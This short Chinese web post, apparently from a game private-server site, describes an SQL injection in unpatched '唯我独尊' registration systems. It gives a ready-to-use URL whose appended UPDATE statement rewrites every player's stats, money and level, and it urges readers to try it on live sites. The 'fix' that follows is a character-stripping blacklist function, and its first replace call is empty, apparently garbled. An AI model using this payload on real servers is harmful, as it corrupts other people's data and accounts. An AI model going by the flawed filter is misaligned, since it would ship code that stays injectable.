SQL注入:命令如下不信可以去试试,找个唯我独尊的注册系统没修改过的就能黑
http://xxx.xxxx.xxx/top100.asp?sx=energy;update character set strength=1,dexterity=1,energy=1,vitality=1,money=-1414141414,pktime=5000,clevel=9999,pkcount=100,pklevel=100 where strength>1;--
解决方法 在 conn.asp 中加入
function CheckStr(str)
str=replace(str,"","")
str=replace(str,"=","")
str=replace(str,";","")
str=replace(str,">","")
str=replace(str,"<","")
str=replace(str,"%","")
CheckStr=str
end function
免责声明：57sf.com登载此文出于传递更多信息之目的，并不意味着57sf.com赞同其观点或证实其描述
|
